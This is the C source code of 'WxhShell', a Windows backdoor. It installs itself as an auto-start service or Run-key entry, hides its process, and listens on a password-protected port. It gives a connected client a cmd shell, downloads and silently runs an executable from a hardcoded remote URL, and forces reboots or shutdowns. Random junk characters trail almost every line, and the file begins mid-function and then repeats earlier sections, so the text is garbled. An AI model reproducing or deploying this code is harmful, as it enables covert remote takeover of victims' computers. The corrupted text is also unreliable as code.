    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); P{RGW.Ci@  
    if(Boot(SHUTDOWN)) B8wGWZ@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  de8xl  
    else { 6=%\@  
    closesocket(wsh); 0 Swu]OE  
    ExitThread(0); >xRUw5jN  
    } 7iy2V;}  
    break; ga'G)d3oS  
    } [$6YPM>Ee  
  // 获取shell ~- aUw}U  
  case 's': { lNe5{'OrO  
    CmdShell(wsh); U8aNL sw  
    closesocket(wsh); \1u^?cBd  
    ExitThread(0); 7#HSe#0J  
    break; 1q ZnyJ  
  } 8&hxU@T~  
  // 退出 3?k<e  
  case 'x': { [:izej(\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ra ,.vJuT  
    CloseIt(wsh); ]:#W$9,WL  
    break; &i805,lx  
    } 6EY 0Fjsi  
  // 离开 >y!R}`&0^t  
  case 'q': { N+]HJ`K  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,=pn}\ R  
    closesocket(wsh); OgK' ~j  
    WSACleanup(); uxX 3wY;M  
    exit(1); U[pR `u  
    break; ,7d#t4  
        } |]HA@7B  
  } .5~3D97X&  
  } tH vP0RxM  
tI0D{Xrc  
  // 提示信息 y2B'0l  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DEPsud;  
} A/Sj>Y1j  
  } 4y)6!p  
on7? V<  
  return; x=W5e ^0?  
} X2 <fS~m  
*\0h^^|@  
// shell模块句柄 P#:nXc$  
int CmdShell(SOCKET sock) =FAIbM>u  
{ %xX b5aY  
STARTUPINFO si; F$s:\ N  
ZeroMemory(&si,sizeof(si)); &j"_hFhv  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i\>?b)a>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =Q# (2  
PROCESS_INFORMATION ProcessInfo; L'e|D=y  
char cmdline[]="cmd"; T0o0_R  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); qP9`p4c8i  
  return 0; xjYH[PgfX  
} n&Q0V.  
b-#oE{(\'  
// 自身启动模式 I 'ha=PeVn  
int StartFromService(void) FbCuXS=+`  
{ Co/04F.  
typedef struct Lu71Qdu09  
{ @6y)wA9Yx  
  DWORD ExitStatus; 7<*g'6JG[  
  DWORD PebBaseAddress; H@|m^1  
  DWORD AffinityMask; kb\\F:w(W  
  DWORD BasePriority; 5p7i9"tgn  
  ULONG UniqueProcessId; UD&pL'{s  
  ULONG InheritedFromUniqueProcessId; ;6=*E'  
}   PROCESS_BASIC_INFORMATION; b-J6{=k^  
d(vt0  
PROCNTQSIP NtQueryInformationProcess; j^/^PUR  
0Y!~xyg/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; y+' ,jM  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `@&WELFv{  
AgOti]`aR  
  HANDLE             hProcess; 7Xh ;dJAF3  
  PROCESS_BASIC_INFORMATION pbi; rj29$d?Y9  
- ^>7\]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .07k G]  
  if(NULL == hInst ) return 0; S:c d'68D  
V|2[>\Cv  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); z|<?=c2P  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5hDm[*83  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <I{Yyl^  
1#XZVp;M  
  if (!NtQueryInformationProcess) return 0; +[V.yY/t|>  
}?6gj%$c  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1/=6s5vS}  
  if(!hProcess) return 0; qjN*oM,  
Q*9Y.W.8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; dFk$rr>q  
EiPOY'  
  CloseHandle(hProcess); @ n$/2y_.  
7Y 4!   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,H] S-uK~  
if(hProcess==NULL) return 0; +@+*sVb  
k P=~L=cK  
HMODULE hMod; 7! /+[G  
char procName[255]; 5QG?*Z~?7  
unsigned long cbNeeded; As|e=ut(  
1Uc/ r>u9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); gS!zaD7Nr  
L}t P_ *  
  CloseHandle(hProcess); Ee{Y1W  
!dwa. lZ&X  
if(strstr(procName,"services")) return 1; // 以服务启动 N1JM[<PP  
M ~6 $kT  
  return 0; // 注册表启动 mfk^t`w_  
} nz/cs n  
U ?6.UtNf  
// 主模块 NqN}] nu6  
int StartWxhshell(LPSTR lpCmdLine) Yo}QW;,g  
{ N}'2GBqfU4  
  SOCKET wsl; L1MG("R  
BOOL val=TRUE; Pu,2a+0N  
  int port=0; @h%Nn)QBq  
  struct sockaddr_in door; )D7/[zb^  
3 5p) e c  
  if(wscfg.ws_autoins) Install(); $g }aH(vf  
+DYsBCVbag  
port=atoi(lpCmdLine); }k @S mO8  
/Uni6O)oc  
if(port<=0) port=wscfg.ws_port; a6"-,Kg  
$nNCBC=  
  WSADATA data; O-n JuZJgX  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]}9[ys  
lB   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   HDj260a  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Ed1y%mR>  
  door.sin_family = AF_INET; Am"&ApK  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ka*#O"}L8  
  door.sin_port = htons(port); 9[:TWvd  
ZDmY${J  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { xk s M e  
closesocket(wsl); X?'pcYSL  
return 1; wT+\:y  
} #l!nBY~  
HnKXO  
  if(listen(wsl,2) == INVALID_SOCKET) { !9_'_8  
closesocket(wsl); o`Q.;1(Y'  
return 1; sE[ Yg8yAt  
} 7Q?^wx  
  Wxhshell(wsl); Yb%#\.M/y  
  WSACleanup(); nPUD6<bF  
"-Wb[*U;  
return 0; M[QQi2:&  
8Y/1+-  
} )D&xyC}  
">vi=Tr  
// 以NT服务方式启动 wQ81wfr1:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0@Z}.k30  
{ 8"o@$;C  
DWORD   status = 0; XmN8S_M>v  
  DWORD   specificError = 0xfffffff; -[[( Zx  
yV*4|EkvW  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7\yh<?`V8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !i\ gCLg2_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _Sl3)  
  serviceStatus.dwWin32ExitCode     = 0; _IWLC{%V  
  serviceStatus.dwServiceSpecificExitCode = 0; LHSbc!Y'.  
  serviceStatus.dwCheckPoint       = 0; [gj>ey8T  
  serviceStatus.dwWaitHint       = 0; l_Zx'm  
"NTiQ}i  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); t$rla _rbY  
  if (hServiceStatusHandle==0) return; KC nm_4  
E@4/<;eKK  
status = GetLastError(); i ;^Ya  
  if (status!=NO_ERROR) R$;TX^r'o&  
{ S:1g(f*85  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; mp z3o\n  
    serviceStatus.dwCheckPoint       = 0; &_74h);2I:  
    serviceStatus.dwWaitHint       = 0; 0e1-ZP CDj  
    serviceStatus.dwWin32ExitCode     = status; G"h}6Za;DO  
    serviceStatus.dwServiceSpecificExitCode = specificError; "Cs36k  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); pj7v{H+  
    return; DKF '*  
  } hw=~ %f;  
I moxg+u  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =Q*3\ )7  
  serviceStatus.dwCheckPoint       = 0; c:""&>Z  
  serviceStatus.dwWaitHint       = 0; oXU b_/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); jwP5pu  
} |qBcE  
]'pL*&"X  
// 处理NT服务事件,比如:启动、停止 _PSOT5{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ',/2J0_  
{ }b/P\1#z  
switch(fdwControl) .eLd0{JtN  
{ ~0@fK<C)O  
case SERVICE_CONTROL_STOP: Eihn%Esa  
  serviceStatus.dwWin32ExitCode = 0; "F[7b!>R  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; hw(\3h()  
  serviceStatus.dwCheckPoint   = 0; \>X!n2rLZe  
  serviceStatus.dwWaitHint     = 0; QNH3\<IS  
  { c=X+uO-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;; ;=)'o  
  } QW tDZ>  
  return; $tej~xZK  
case SERVICE_CONTROL_PAUSE: m=SI *V  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; b`@J"E}  
  break; 6&il>  
case SERVICE_CONTROL_CONTINUE: +wxsAGy_j  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; bkS"]q)>  
  break; Xj~%kPe  
case SERVICE_CONTROL_INTERROGATE: # 1dg%  
  break; uqLP$At  
}; W1EYVXN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [2h.5.af  
} y G3aF(  
YoBe!-E  
// 标准应用程序主函数 k81%$E  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) w 5?D]u  
{ >Fs/Wet  
Qj*.Z4ue  
// 获取操作系统版本 [FLR&=.(  
OsIsNt=GetOsVer(); p4 =/rkq  
GetModuleFileName(NULL,ExeFile,MAX_PATH); z+-o}i  
"%p7ft  
  // 从命令行安装 D~#%^a+Aq_  
  if(strpbrk(lpCmdLine,"iI")) Install(); A+3SLB  
/(.:l +[w[  
  // 下载执行文件 kw E2V+2  
if(wscfg.ws_downexe) { 9g>)7Ne  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8g Z)c\  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^3 9lUKL  
} ,[)l>!0\H  
6)7cw8^  
if(!OsIsNt) { ex6R=97uA  
// 如果时win9x,隐藏进程并且设置为注册表启动 @`dlhz  
HideProc(); !&9(D^  
StartWxhshell(lpCmdLine); om2N*W.gk  
} {M5t)-  
else m(*rMO>_  
  if(StartFromService()) Fm,` ]CO  
  // 以服务方式启动 *mbzK*  
  StartServiceCtrlDispatcher(DispatchTable); =*"8N-FU  
else ~$J(it-a  
  // 普通方式启动 p4*L}Q  
  StartWxhshell(lpCmdLine); lo(C3o'  
uYWD.]X;[  
return 0; cR_pC 9z  
} O^j*"#f  
9@yF7  
~> Q9  
&T~X`{V]`  
=========================================== 0Q`v#$?":  
%,~?;JAj  
P_w4 DU  
 tH44\~  
X6r0+D5AvB  
qz{9ND| )  
" gXJBb+P   
`Z8k#z'bN  
#include <stdio.h> *=.~PR6W{  
#include <string.h> 5af0- hj  
#include <windows.h> S#?2E8  
#include <winsock2.h> bWAa: r  
#include <winsvc.h> `Y5LAt:  
#include <urlmon.h> oJ\g0|\qwe  
&29jg_'W  
#pragma comment (lib, "Ws2_32.lib") *LU/3H|}  
#pragma comment (lib, "urlmon.lib") .<F46?HS  
U/^#nU.,  
#define MAX_USER   100 // 最大客户端连接数 Dws) 4hH  
#define BUF_SOCK   200 // sock buffer yV )fJ_  
#define KEY_BUFF   255 // 输入 buffer UaF~[toX  
t15{>>f4>  
#define REBOOT     0   // 重启 o3/o2[s  
#define SHUTDOWN   1   // 关机 (8)9S6  
kuD$]A Q`&  
#define DEF_PORT   5000 // 监听端口 ;=jF9mV.  
J\Pb/9M/  
#define REG_LEN     16   // 注册表键长度 @$ Zh^+x!  
#define SVC_LEN     80   // NT服务名长度 ^`'\eEa  
k#Sr;"  
// 从dll定义API wlJi_)!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); A*?PH`bY  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); gTXpaB<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); XPO-u]<W  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1o%#kf  
zMFTkDY  
// wxhshell配置信息 C2"^YRN,  
struct WSCFG { KE~Q88s  
  int ws_port;         // 监听端口 Cl<!S`  
  char ws_passstr[REG_LEN]; // 口令 z3K$gEve  
  int ws_autoins;       // 安装标记, 1=yes 0=no hm! J@  
  char ws_regname[REG_LEN]; // 注册表键名 ]690ey$E:j  
  char ws_svcname[REG_LEN]; // 服务名 G?'^"ae"Z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 H.ksI;,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 mn?F;= qE  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 95z|}16UK  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Rz g;GH  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" mi7?t/D1Z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 dX cbS<  
<@KIDZYC  
}; kt2_WW[  
8%#8PLB2  
// default Wxhshell configuration ;v@G  
struct WSCFG wscfg={DEF_PORT, 9 A ?{}c  
    "xuhuanlingzhe", j'z#V_S  
    1, 0BlEt1e2T  
    "Wxhshell", S F*C'  
    "Wxhshell", *v+l,z4n  
            "WxhShell Service", pqb'L]  
    "Wrsky Windows CmdShell Service", $h{m")]  
    "Please Input Your Password: ", >] 'oN  
  1, kg]6q T;Y  
  "http://www.wrsky.com/wxhshell.exe", E=ijt3  
  "Wxhshell.exe" P\7*ql`  
    }; hhy+bA}  
!Ud'(iGa  
// 消息定义模块 9f( X7kt  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ZyUcL_   
char *msg_ws_prompt="\n\r? for help\n\r#>"; z_ $c_J  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Q^Cm3|ZO  
char *msg_ws_ext="\n\rExit."; :@[\(:  
char *msg_ws_end="\n\rQuit."; s Z[[ymu8  
char *msg_ws_boot="\n\rReboot..."; Q:(mK* _  
char *msg_ws_poff="\n\rShutdown..."; Bdw33z*m  
char *msg_ws_down="\n\rSave to "; f[k#Znr  
Y7}Tuy dC  
char *msg_ws_err="\n\rErr!"; Z)`)9]*  
char *msg_ws_ok="\n\rOK!";  4@  
ls^Z"9P  
char ExeFile[MAX_PATH]; Snf_{A<  
int nUser = 0; _Hv+2E[4Z  
HANDLE handles[MAX_USER]; Kd5'2"DI  
int OsIsNt; w+ R/>a( ]  
"#r)NYq`"|  
SERVICE_STATUS       serviceStatus; 1l$Ei,9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \9VF)Y.ke  
U"k$qZ[  
// 函数声明 sE% $]Jp  
int Install(void); XGx[Ny_A2  
int Uninstall(void); Ik0g(-d  
int DownloadFile(char *sURL, SOCKET wsh); ;|5-{+2U%  
int Boot(int flag); nnv|GnQST  
void HideProc(void); &>-j4,M  
int GetOsVer(void); z$%twBg}#  
int Wxhshell(SOCKET wsl); .xsfq*3e5  
void TalkWithClient(void *cs); =b%}x >>  
int CmdShell(SOCKET sock); :25LQf^nz  
int StartFromService(void); 'Zu S  
int StartWxhshell(LPSTR lpCmdLine); t@qf/1  
':vZ&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); t5-O-AI[b{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]c/E7|0Q  
y/Xs+ {x  
// 数据结构和表定义 4nsJZo#S/  
SERVICE_TABLE_ENTRY DispatchTable[] = YExgUE|  
{ $d?W1D<A  
{wscfg.ws_svcname, NTServiceMain}, HT;^u"a~  
{NULL, NULL}  ? }M81  
}; qiNVaV\wr|  
&zEQbHK6  
// 自我安装 @j/2 $  
int Install(void) wh8';LZ>R  
{  [SPx  
  char svExeFile[MAX_PATH]; L^sjV/\oW  
  HKEY key; 1r;zA<<%R  
  strcpy(svExeFile,ExeFile); 4@ PA+(kvS  
dJ"M#X!Zu  
// 如果是win9x系统,修改注册表设为自启动 .Kb3VNgwvm  
if(!OsIsNt) { UT<e/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $v0,)ALi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vF27+/2+R  
  RegCloseKey(key); )E}v~GW.+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [;u#79aE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;g|Vt}a&4  
  RegCloseKey(key); W;vNmg}mn  
  return 0; "n%s>@$  
    } 1t  R^  
  } W7S~~  
} !zA@{gvEc  
else { ^jL '*&l  
ax&?Z5%a  
// 如果是NT以上系统,安装为系统服务 c7e,lgG-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); T`&zQQ6F'  
if (schSCManager!=0) E/zf9\  
{ .IeO+RDQ  
  SC_HANDLE schService = CreateService ^D+J k8  
  ( b:dN )m  
  schSCManager, &`r/+B_W  
  wscfg.ws_svcname, V@ >(xe7  
  wscfg.ws_svcdisp, 3^sbbm.8  
  SERVICE_ALL_ACCESS, (\AN0_  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , QZzamT)"  
  SERVICE_AUTO_START, Xh9QfT,  
  SERVICE_ERROR_NORMAL, #{cy(&cz  
  svExeFile, 6mM9p)"$  
  NULL, 3Ua?^2l  
  NULL, RzEzNV  
  NULL, ~t6q-P  
  NULL, -o ).<&#  
  NULL UqP{Cyy{  
  ); 4>KF`?%4  
  if (schService!=0) W XQ@kQD  
  { l=~!'1@L}  
  CloseServiceHandle(schService); 2JfSi2T  
  CloseServiceHandle(schSCManager); i>m%hbAk  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 'cD?0ou`o  
  strcat(svExeFile,wscfg.ws_svcname); ~>u .d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +9_Y0<C  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6D;N.wDZ  
  RegCloseKey(key); H"A%mrb  
  return 0; I3t5S;_8  
    } :`bC3Mr  
  } -k'<6op  
  CloseServiceHandle(schSCManager); oZ'a}kF  
} um2a#6uo  
} yXJhOCa  
ula-o)S  
return 1; iGyetFqKw  
} <Ky-3:pxeM  
At Wv9  
// 自我卸载  .U1wVIM  
int Uninstall(void) GY~$<^AK  
{ ^6s im2  
  HKEY key; 1h,iWHC  
i^s Vy  
if(!OsIsNt) { y'R}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RTOA'|[0M  
  RegDeleteValue(key,wscfg.ws_regname); UC!mp?   
  RegCloseKey(key); fQ<sq0' e\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F? #3  
  RegDeleteValue(key,wscfg.ws_regname); 1Viz`y)^  
  RegCloseKey(key); xT HD_?d  
  return 0; :/5m D  
  } !=[Y yh  
} E7Cobpm  
} IskL$Y ^  
else { hkMeUxS  
8!_jZf8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )x.%PUA  
if (schSCManager!=0) 1Bh"'9-!JT  
{ HbTVuf o  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =2R4Z8G  
  if (schService!=0) z*.AuEK?  
  { aKI"<%PNn  
  if(DeleteService(schService)!=0) { }[p{%:tP  
  CloseServiceHandle(schService); _7c3=f83  
  CloseServiceHandle(schSCManager); I7ao2aS  
  return 0; {U5sRM|I  
  } =KE7NXu]-  
  CloseServiceHandle(schService); z:QDWH  
  } 3[m~-8  
  CloseServiceHandle(schSCManager); '/\  
} h]4xS?6O  
} mF7 Ak&So^  
N`8K1{>BH  
return 1; -]N2V'QB  
} oi #B7  
+H-=`+,  
// 从指定url下载文件 ]!hjKu"  
int DownloadFile(char *sURL, SOCKET wsh) "{0G,tdA  
{ c{q+h V=  
  HRESULT hr; 8v$q+Wic  
char seps[]= "/"; *^?tr?e%I<  
char *token; .LzA'q1+z  
char *file;  !:( +#  
char myURL[MAX_PATH]; %cF`x_h[j  
char myFILE[MAX_PATH];  |$Yk)z3  
)V1XL   
strcpy(myURL,sURL); (:o F\  
  token=strtok(myURL,seps); yD9enYM  
  while(token!=NULL) q;{(o2g  
  { v+ $3  
    file=token; so-5%S  
  token=strtok(NULL,seps); g"-j/ c   
  } 1XGg0SC  
w-|Rb~XT h  
GetCurrentDirectory(MAX_PATH,myFILE); 2yN!yIPR  
strcat(myFILE, "\\"); /!6'K  
strcat(myFILE, file); {lI}a8DP  
  send(wsh,myFILE,strlen(myFILE),0); 6)INr,d  
send(wsh,"...",3,0); 8ro`lX*F@2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8Km&3nCv$Q  
  if(hr==S_OK) [$y(>] ~.  
return 0; >y%H2][  
else LjZlKB5C  
return 1; C5~#lNC  
:jiEn y  
} n Kkpp-  
V U3RFl  
// 系统电源模块 HE}0_x.  
int Boot(int flag) Xaz "!  
{ +k`L8@a3&  
  HANDLE hToken; } z'Jsy[s  
  TOKEN_PRIVILEGES tkp; !BQt+4G7  
mWviWHK  
  if(OsIsNt) { %i9S"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); t3L>@NWG  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @c~Z0+Ji  
    tkp.PrivilegeCount = 1; ing'' _  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )5|9EXh  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); jWdviS9&g  
if(flag==REBOOT) { {&1L &f<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [S6u:;7  
  return 0; vC]X>P5Px  
} 9o@3$  
else { Q{/z>-X\x  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )%C.IZ_s2  
  return 0; J*@pM  
} jcCAXk055  
  } C:E f6ZW  
  else { `>"#d ?,  
if(flag==REBOOT) { -}7$;QK&a  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7D'\z IW  
  return 0; >.<VD7p  
} J/]%zwDwS  
else { ((M,6Q}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) N*gJu  
  return 0; p6JTNx D  
} pGie!2T E  
} `KQx#c>'  
{B$CqsvJ  
return 1; XIcUoKg^  
} 6,t6~Uo/  
[6VB&   
// win9x进程隐藏模块 fJFNS y  
void HideProc(void) cAR `{%b  
{ :Xw|v2z%3  
QK_5gD`$a,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); D]~K-[V?l  
  if ( hKernel != NULL ) ZU 3Psj  
  { <) * U/r  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2 ZK]}&yC  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9p_?t'&>q  
    FreeLibrary(hKernel); LOUP  
  } (~~m8VJ>  
J|W E&5'  
return; ')jItje|  
} 1l-5H7^w2?  
e-dkvPr  
// 获取操作系统版本 a>j}@8[J  
int GetOsVer(void) eRUdPPq_d  
{ F5?S8=i  
  OSVERSIONINFO winfo; x%dny]O1;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); M`Y^hDl6  
  GetVersionEx(&winfo); c7mKE`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) m]qw8BoU`F  
  return 1; (.-4Jn  
  else B.N#9u-vW  
  return 0; ;yNc 7Vl  
} H(y`[B,}*  
5=o^/Vkc  
// 客户端句柄模块 KVZB`c$<t  
int Wxhshell(SOCKET wsl) 9=j9vBV  
{ oN032o?S  
  SOCKET wsh; SVU>q:ab  
  struct sockaddr_in client; 5 kHaZ Q  
  DWORD myID; ' ]k<' `b|  
)n&hO_c/  
  while(nUser<MAX_USER) "0eX/ rY%  
{ |))NjM'ZBl  
  int nSize=sizeof(client); dN2JOyS  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); rC8p!e.yL  
  if(wsh==INVALID_SOCKET) return 1; =Jm[1Mgt  
JxIJxhA>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); aUw-P{zp%  
if(handles[nUser]==0) :T-DxP/  
  closesocket(wsh); bZ* = fdh  
else ]\*^G@HA2  
  nUser++; Xs2}n^#i  
  } _LJF:E5L  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )Do 0  
s#?ZwD,=  
  return 0; o[>d"Kp  
} K P]ar.  
HA'~1$#z  
// 关闭 socket ImN'o4vo  
void CloseIt(SOCKET wsh) `7/(sX.  
{ ggD T5hb  
closesocket(wsh); D:T]$<=9  
nUser--; +byOThuE  
ExitThread(0); oC5 h-4~  
} fJS:46  
P&0eu  
// 客户端请求句柄 6b|<$Je9  
void TalkWithClient(void *cs) \_Bj"K  
{ 6n]+(=  
|62` {+  
  SOCKET wsh=(SOCKET)cs; $a_y-lY  
  char pwd[SVC_LEN]; n&[CTOV  
  char cmd[KEY_BUFF]; kqBZsfF  
char chr[1]; f~VlCdf+  
int i,j; R XCn;nM4  
^ oi']O  
  while (nUser < MAX_USER) { "\wMs  
v#,queGi  
if(wscfg.ws_passstr) { x;~:p;]J2F  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }$_@yt<{W@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GD4S/fn3  
  //ZeroMemory(pwd,KEY_BUFF); RHUZ:r  
      i=0; k%6CkC w  
  while(i<SVC_LEN) { Q ^b&   
kX8C'D4 gX  
  // 设置超时 gG?@_ie  
  fd_set FdRead; G80N8Lm  
  struct timeval TimeOut; {s8c@-'  
  FD_ZERO(&FdRead); =F+v+zP7P  
  FD_SET(wsh,&FdRead); UF+Qx/4h0  
  TimeOut.tv_sec=8; h%/BZC^L]|  
  TimeOut.tv_usec=0; |N/d }  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); n3iiW \  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); =UKxf  
r `PJb5^\|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .OdtM X y  
  pwd=chr[0]; 03~ ADj  
  if(chr[0]==0xd || chr[0]==0xa) { D, ")n75  
  pwd=0; ^8 VW$}  
  break; }a;xs};X;  
  } t]HY@@0g  
  i++; 4p"'ox#  
    } _ $a3lR  
s!IIvF  
  // 如果是非法用户,关闭 socket >ai,6!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \]> YLyG  
} z$J m1l  
pwFdfp  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); q%sZV>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YPGM||  
*D|a`R!Y  
while(1) { O=jLZ2os  
w~@"r#-  
  ZeroMemory(cmd,KEY_BUFF); w5>[hQR\  
D /QLp3+o  
      // 自动支持客户端 telnet标准   AQ)gj$ m3  
  j=0; P<vl+&*  
  while(j<KEY_BUFF) { 3X gJZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t 'eaR-  
  cmd[j]=chr[0]; 5_(\Cd<#  
  if(chr[0]==0xa || chr[0]==0xd) { FI^Wh7J  
  cmd[j]=0; #QwkRzVoy  
  break; \B#tB?rA  
  } _V"0g=&Hc  
  j++; <&\ng^Z$  
    } T<n`i~~  
S70#_{  
  // 下载文件 YdhV a!Y  
  if(strstr(cmd,"http://")) { 6 - 3?&+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 'C5id7O&  
  if(DownloadFile(cmd,wsh)) u IXA{89  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); i)x0 ]XF  
  else ov+{<0Q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |u>V> PN  
  } ek&~A0k_o  
